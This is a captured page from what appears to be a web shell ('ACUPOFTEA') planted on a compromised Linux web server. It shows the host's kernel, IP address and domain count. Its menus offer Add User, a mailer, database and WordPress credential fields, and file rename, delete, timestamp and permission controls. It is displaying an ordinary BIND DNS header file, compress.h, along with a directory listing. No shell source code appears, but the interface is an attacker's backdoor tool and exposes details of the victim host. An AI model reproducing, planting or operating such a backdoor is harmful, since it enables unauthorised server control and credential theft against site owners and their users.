System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
bind9
/
dns
/
216.73.216.146
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
compress.h
/* * Copyright (C) Internet Systems Consortium, Inc. ("ISC") * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, you can obtain one at https://mozilla.org/MPL/2.0/. * * See the COPYRIGHT file distributed with this work for additional * information regarding copyright ownership. */ #ifndef DNS_COMPRESS_H #define DNS_COMPRESS_H 1 #include <inttypes.h> #include <stdbool.h> #include <isc/lang.h> #include <isc/region.h> #include <dns/types.h> ISC_LANG_BEGINDECLS /*! \file dns/compress.h * Direct manipulation of the structures is strongly discouraged. * * A name compression context handles compression of multiple DNS names * in relation to a single DNS message. The context can be used to * selectively turn on/off compression for specific names (depending on * the RR type) by using \c dns_compress_setmethods(). Alternately, * compression can be disabled completely using \c * dns_compress_disable(). * * \c dns_compress_setmethods() is intended for use by RDATA towire() * implementations, whereas \c dns_compress_disable() is intended to be * used by a nameserver's configuration manager. */ #define DNS_COMPRESS_NONE 0x00 /*%< no compression */ #define DNS_COMPRESS_GLOBAL14 0x01 /*%< "normal" compression. */ #define DNS_COMPRESS_ALL 0x01 /*%< all compression. */ #define DNS_COMPRESS_CASESENSITIVE 0x02 /*%< case sensitive compression. */ #define DNS_COMPRESS_ENABLED 0x04 #define DNS_COMPRESS_READY 0x80000000 #define DNS_COMPRESS_TABLESIZE 64 #define DNS_COMPRESS_INITIALNODES 16 typedef struct dns_compressnode dns_compressnode_t; struct dns_compressnode { isc_region_t r; uint16_t offset; uint16_t count; uint8_t labels; dns_compressnode_t *next; }; struct dns_compress { unsigned int magic; /*%< Magic number. */ unsigned int allowed; /*%< Allowed methods. */ int edns; /*%< Edns version or -1. */ /*% Global compression table. */ dns_compressnode_t *table[DNS_COMPRESS_TABLESIZE]; /*% Preallocated nodes for the table. */ dns_compressnode_t initialnodes[DNS_COMPRESS_INITIALNODES]; uint16_t count; /*%< Number of nodes. */ isc_mem_t *mctx; /*%< Memory context. */ }; typedef enum { DNS_DECOMPRESS_ANY, /*%< Any compression */ DNS_DECOMPRESS_STRICT, /*%< Allowed compression */ DNS_DECOMPRESS_NONE /*%< No compression */ } dns_decompresstype_t; struct dns_decompress { unsigned int magic; /*%< Magic number. */ unsigned int allowed; /*%< Allowed methods. */ int edns; /*%< Edns version or -1. */ dns_decompresstype_t type; /*%< Strict checking */ }; isc_result_t dns_compress_init(dns_compress_t *cctx, int edns, isc_mem_t *mctx); /*%< * Initialise the compression context structure pointed to by * 'cctx'. A freshly initialized context has name compression * enabled, but no methods are set. Please use \c * dns_compress_setmethods() to set a compression method. * * Requires: * \li 'cctx' is a valid dns_compress_t structure. * \li 'mctx' is an initialized memory context. * Ensures: * \li cctx->global is initialized. * * Returns: * \li #ISC_R_SUCCESS */ void dns_compress_invalidate(dns_compress_t *cctx); /*%< * Invalidate the compression structure pointed to by cctx. * * Requires: *\li 'cctx' to be initialized. */ void dns_compress_setmethods(dns_compress_t *cctx, unsigned int allowed); /*%< * Sets allowed compression methods. * * Requires: *\li 'cctx' to be initialized. */ unsigned int dns_compress_getmethods(dns_compress_t *cctx); /*%< * Gets allowed compression methods. * * Requires: *\li 'cctx' to be initialized. * * Returns: *\li allowed compression bitmap. */ void dns_compress_disable(dns_compress_t *cctx); /*%< * Disables all name compression in the context. Once disabled, * name compression cannot currently be re-enabled. * * Requires: *\li 'cctx' to be initialized. * */ void dns_compress_setsensitive(dns_compress_t *cctx, bool sensitive); /* * Preserve the case of compressed domain names. * * Requires: * 'cctx' to be initialized. */ bool dns_compress_getsensitive(dns_compress_t *cctx); /* * Return whether case is to be preserved when compressing * domain names. * * Requires: * 'cctx' to be initialized. */ int dns_compress_getedns(dns_compress_t *cctx); /*%< * Gets edns value. * * Requires: *\li 'cctx' to be initialized. * * Returns: *\li -1 .. 255 */ bool dns_compress_findglobal(dns_compress_t *cctx, const dns_name_t *name, dns_name_t *prefix, uint16_t *offset); /*%< * Finds longest possible match of 'name' in the global compression table. * * Requires: *\li 'cctx' to be initialized. *\li 'name' to be a absolute name. *\li 'prefix' to be initialized. *\li 'offset' to point to an uint16_t. * * Ensures: *\li 'prefix' and 'offset' are valid if true is returned. * * Returns: *\li #true / #false */ void dns_compress_add(dns_compress_t *cctx, const dns_name_t *name, const dns_name_t *prefix, uint16_t offset); /*%< * Add compression pointers for 'name' to the compression table, * not replacing existing pointers. * * Requires: *\li 'cctx' initialized * *\li 'name' must be initialized and absolute, and must remain * valid until the message compression is complete. * *\li 'prefix' must be a prefix returned by * dns_compress_findglobal(), or the same as 'name'. */ void dns_compress_rollback(dns_compress_t *cctx, uint16_t offset); /*%< * Remove any compression pointers from global table >= offset. * * Requires: *\li 'cctx' is initialized. */ void dns_decompress_init(dns_decompress_t *dctx, int edns, dns_decompresstype_t type); /*%< * Initializes 'dctx'. * Records 'edns' and 'type' into the structure. * * Requires: *\li 'dctx' to be a valid pointer. */ void dns_decompress_invalidate(dns_decompress_t *dctx); /*%< * Invalidates 'dctx'. * * Requires: *\li 'dctx' to be initialized */ void dns_decompress_setmethods(dns_decompress_t *dctx, unsigned int allowed); /*%< * Sets 'dctx->allowed' to 'allowed'. * * Requires: *\li 'dctx' to be initialized */ unsigned int dns_decompress_getmethods(dns_decompress_t *dctx); /*%< * Returns 'dctx->allowed' * * Requires: *\li 'dctx' to be initialized */ int dns_decompress_edns(dns_decompress_t *dctx); /*%< * Returns 'dctx->edns' * * Requires: *\li 'dctx' to be initialized */ dns_decompresstype_t dns_decompress_type(dns_decompress_t *dctx); /*%< * Returns 'dctx->type' * * Requires: *\li 'dctx' to be initialized */ ISC_LANG_ENDDECLS #endif /* DNS_COMPRESS_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-11-07 10:58:18
..
DIR
-
drwxr-xr-x
2025-11-07 10:58:21
acache.h
text/x-c
13.9 KB
-rw-r--r--
2025-11-06 07:45:36
acl.h
text/x-c
7.07 KB
-rw-r--r--
2025-11-06 07:45:36
adb.h
text/x-c
22.07 KB
-rw-r--r--
2025-11-06 07:45:36
badcache.h
text/x-c
3.29 KB
-rw-r--r--
2025-11-06 07:45:36
bit.h
text/x-c
807 B
-rw-r--r--
2025-11-06 07:45:36
byaddr.h
text/x-c
3.91 KB
-rw-r--r--
2025-11-06 07:45:36
cache.h
text/x-c
8.44 KB
-rw-r--r--
2025-11-06 07:45:36
callbacks.h
text/x-c
2.22 KB
-rw-r--r--
2025-11-06 07:45:36
catz.h
text/x-c
11.56 KB
-rw-r--r--
2025-11-06 07:45:36
cert.h
text/x-c
1.43 KB
-rw-r--r--
2025-11-06 07:45:36
client.h
text/x-c
21.53 KB
-rw-r--r--
2025-11-06 07:45:36
clientinfo.h
text/x-c
1.96 KB
-rw-r--r--
2025-11-06 07:45:36
compress.h
text/x-c
6.49 KB
-rw-r--r--
2025-11-06 07:45:36
db.h
text/x-c
45.96 KB
-rw-r--r--
2025-11-06 07:45:36
dbiterator.h
text/x-c
7.25 KB
-rw-r--r--
2025-11-06 07:45:36
dbtable.h
text/x-c
3.09 KB
-rw-r--r--
2025-11-06 07:45:36
diff.h
text/x-c
6.82 KB
-rw-r--r--
2025-11-06 07:45:36
dispatch.h
text/x-c
16.04 KB
-rw-r--r--
2025-11-06 07:45:36
dlz.h
text/x-c
10.37 KB
-rw-r--r--
2025-11-06 07:45:36
dlz_dlopen.h
text/x-c
4.57 KB
-rw-r--r--
2025-11-06 07:45:36
dns64.h
text/x-c
5.5 KB
-rw-r--r--
2025-11-06 07:45:36
dnssec.h
text/x-c
11.83 KB
-rw-r--r--
2025-11-06 07:45:36
dnstap.h
text/x-c
9.14 KB
-rw-r--r--
2025-11-06 07:45:36
ds.h
text/x-c
1.2 KB
-rw-r--r--
2025-11-06 07:45:36
dsdigest.h
text/x-c
1.68 KB
-rw-r--r--
2025-11-06 07:45:36
dyndb.h
text/x-c
4.72 KB
-rw-r--r--
2025-11-06 07:45:36
ecdb.h
text/x-c
809 B
-rw-r--r--
2025-11-06 07:45:36
edns.h
text/x-c
722 B
-rw-r--r--
2025-11-06 07:45:36
enumclass.h
text/x-c
1.19 KB
-rw-r--r--
2025-11-06 07:45:36
enumtype.h
text/x-c
8.11 KB
-rw-r--r--
2025-11-06 07:45:36
events.h
text/x-c
3.96 KB
-rw-r--r--
2025-11-06 07:45:36
fixedname.h
text/x-c
1.62 KB
-rw-r--r--
2025-11-06 07:45:36
forward.h
text/x-c
3.37 KB
-rw-r--r--
2025-11-06 07:45:36
geoip.h
text/x-c
2.73 KB
-rw-r--r--
2025-11-06 07:45:36
ipkeylist.h
text/x-c
2.13 KB
-rw-r--r--
2025-11-06 07:45:36
iptable.h
text/x-c
1.58 KB
-rw-r--r--
2025-11-06 07:45:36
journal.h
text/x-c
8.03 KB
-rw-r--r--
2025-11-06 07:45:36
keydata.h
text/x-c
1.03 KB
-rw-r--r--
2025-11-06 07:45:36
keyflags.h
text/x-c
1.25 KB
-rw-r--r--
2025-11-06 07:45:36
keytable.h
text/x-c
9.24 KB
-rw-r--r--
2025-11-06 07:45:36
keyvalues.h
text/x-c
4.06 KB
-rw-r--r--
2025-11-06 07:45:36
lib.h
text/x-c
1.16 KB
-rw-r--r--
2025-11-06 07:45:36
log.h
text/x-c
3.87 KB
-rw-r--r--
2025-11-06 07:45:36
lookup.h
text/x-c
2.86 KB
-rw-r--r--
2025-11-06 07:45:36
master.h
text/x-c
11.02 KB
-rw-r--r--
2025-11-06 07:45:36
masterdump.h
text/x-c
12.35 KB
-rw-r--r--
2025-11-06 07:45:36
message.h
text/x-c
38.11 KB
-rw-r--r--
2025-11-06 07:45:36
name.h
text/x-c
36.25 KB
-rw-r--r--
2025-11-06 07:45:36
ncache.h
text/x-c
4.81 KB
-rw-r--r--
2025-11-06 07:45:36
nsec.h
text/x-c
2.86 KB
-rw-r--r--
2025-11-06 07:45:36
nsec3.h
text/x-c
7.84 KB
-rw-r--r--
2025-11-06 07:45:36
nta.h
text/x-c
4.44 KB
-rw-r--r--
2025-11-06 07:45:36
opcode.h
text/x-c
1007 B
-rw-r--r--
2025-11-06 07:45:36
order.h
text/x-c
1.95 KB
-rw-r--r--
2025-11-06 07:45:36
peer.h
text/x-c
5.83 KB
-rw-r--r--
2025-11-06 07:45:36
portlist.h
text/x-c
2.05 KB
-rw-r--r--
2025-11-06 07:45:36
private.h
text/x-c
1.89 KB
-rw-r--r--
2025-11-06 07:45:36
rbt.h
text/x-c
39.67 KB
-rw-r--r--
2025-11-06 07:45:36
rcode.h
text/x-c
2.42 KB
-rw-r--r--
2025-11-06 07:45:36
rdata.h
text/x-c
21.11 KB
-rw-r--r--
2025-11-06 07:45:36
rdataclass.h
text/x-c
2.2 KB
-rw-r--r--
2025-11-06 07:45:36
rdatalist.h
text/x-c
2.51 KB
-rw-r--r--
2025-11-06 07:45:36
rdataset.h
text/x-c
21.03 KB
-rw-r--r--
2025-11-06 07:45:36
rdatasetiter.h
text/x-c
3.83 KB
-rw-r--r--
2025-11-06 07:45:36
rdataslab.h
text/x-c
4.4 KB
-rw-r--r--
2025-11-06 07:45:36
rdatastruct.h
text/x-c
60.14 KB
-rw-r--r--
2025-11-06 07:45:36
rdatatype.h
text/x-c
2.24 KB
-rw-r--r--
2025-11-06 07:45:36
request.h
text/x-c
10.89 KB
-rw-r--r--
2025-11-06 07:45:36
resolver.h
text/x-c
19.75 KB
-rw-r--r--
2025-11-06 07:45:36
result.h
text/x-c
9.07 KB
-rw-r--r--
2025-11-06 07:45:36
rootns.h
text/x-c
892 B
-rw-r--r--
2025-11-06 07:45:36
rpz.h
text/x-c
10.09 KB
-rw-r--r--
2025-11-06 07:45:36
rriterator.h
text/x-c
4.13 KB
-rw-r--r--
2025-11-06 07:45:36
rrl.h
text/x-c
6.48 KB
-rw-r--r--
2025-11-06 07:45:36
sdb.h
text/x-c
7.05 KB
-rw-r--r--
2025-11-06 07:45:36
sdlz.h
text/x-c
13.88 KB
-rw-r--r--
2025-11-06 07:45:36
secalg.h
text/x-c
1.67 KB
-rw-r--r--
2025-11-06 07:45:36
secproto.h
text/x-c
1.52 KB
-rw-r--r--
2025-11-06 07:45:36
soa.h
text/x-c
2.13 KB
-rw-r--r--
2025-11-06 07:45:36
ssu.h
text/x-c
8.11 KB
-rw-r--r--
2025-11-06 07:45:36
stats.h
text/x-c
13.14 KB
-rw-r--r--
2025-11-06 07:45:36
tcpmsg.h
text/x-c
3.07 KB
-rw-r--r--
2025-11-06 07:45:36
time.h
text/x-c
1.66 KB
-rw-r--r--
2025-11-06 07:45:36
timer.h
text/x-c
1.03 KB
-rw-r--r--
2025-11-06 07:45:36
tkey.h
text/x-c
7.45 KB
-rw-r--r--
2025-11-06 07:45:36
tsec.h
text/x-c
2.88 KB
-rw-r--r--
2025-11-06 07:45:36
tsig.h
text/x-c
8.19 KB
-rw-r--r--
2025-11-06 07:45:36
ttl.h
text/x-c
1.9 KB
-rw-r--r--
2025-11-06 07:45:36
types.h
text/x-c
13.83 KB
-rw-r--r--
2025-11-06 07:45:36
update.h
text/x-c
1.61 KB
-rw-r--r--
2025-11-06 07:45:36
validator.h
text/x-c
6.99 KB
-rw-r--r--
2025-11-06 07:45:36
version.h
text/x-c
868 B
-rw-r--r--
2025-11-06 07:45:36
view.h
text/x-c
34.45 KB
-rw-r--r--
2025-11-06 07:45:36
xfrin.h
text/x-c
2.86 KB
-rw-r--r--
2025-11-06 07:45:36
zone.h
text/x-c
59.44 KB
-rw-r--r--
2025-11-06 07:45:36
zonekey.h
text/x-c
777 B
-rw-r--r--
2025-11-06 07:45:36
zt.h
text/x-c
5.43 KB
-rw-r--r--
2025-11-06 07:45:36
~ ACUPOFTEA - accounting.gulfstore-gcc.com